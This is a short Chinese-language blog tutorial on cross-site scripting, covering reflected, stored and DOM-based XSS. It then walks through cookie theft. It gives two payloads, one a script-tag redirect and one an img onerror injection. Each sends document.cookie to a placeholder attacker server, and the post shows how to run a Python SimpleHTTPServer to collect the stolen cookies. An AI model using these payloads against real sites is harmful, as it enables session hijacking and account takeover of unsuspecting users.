xss 利用方式

漏洞原理

  HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,<title>与</title>之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞,见于服务端将用户输入不加过滤直接返回到客户端,产生反射型xss攻击,存储型xss,例如留言板,将用户输入存储进数据库,当有用户查看留言,触发存储型xss。

  xss 分为 反射型xss,存储型xss,DOM型xss

  反射型xss,不经过数据库存储,非持久性xss,服务端直接返回到客户端,利用方式,通过构造恶意链接,当用户点击链接,就触发了xss。

  存储型xss,一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中,持久性xss。

  DOM型xss,DOM :文档对象模型,客户端脚本处理逻辑导致的安全问题。

 

XSS利用方式:

 1. 需要一个xss平台来收集cookie

 2. 对于反射型xss可构造链接,当用户点击时,用户cookie被发送到xss平台

 3. 窃取用户cooike之后加以利用

 可以基于xss平台进行利用

 

以下以自己搭建平台利用为例:将cookie拼接到url后作为参数,请求搭建的简单平台测试

利用python2 自带SimpleHTTPServer,监听端口,查看get请求,得到cookie

运行HTTP 服务

py -2 -m SimpleHTTPServer 8080

 

 

 

script 标签:

<script>window.location.href='http://服务器地址/?cookie='+document.cookie</script> 

请求html

 

查看服务端响应,得到cookie

 

 

 img标签:

<img src=x onerror = document.body.appendChild(document.createElement('img')).setAttribute('src','http://服务器地址/?='+document.cookie); >

 请求html

查看服务端响应,得到cookie

 

 延申: X-XSS-Protection  :    xss保护,当服务端请求头带有X-XSS-Protection: 1 时,浏览器开启xss 保护机制。 

 

posted @ 2019-07-30 16:50  芝士粉子  阅读(2695)  评论(0编辑  收藏  举报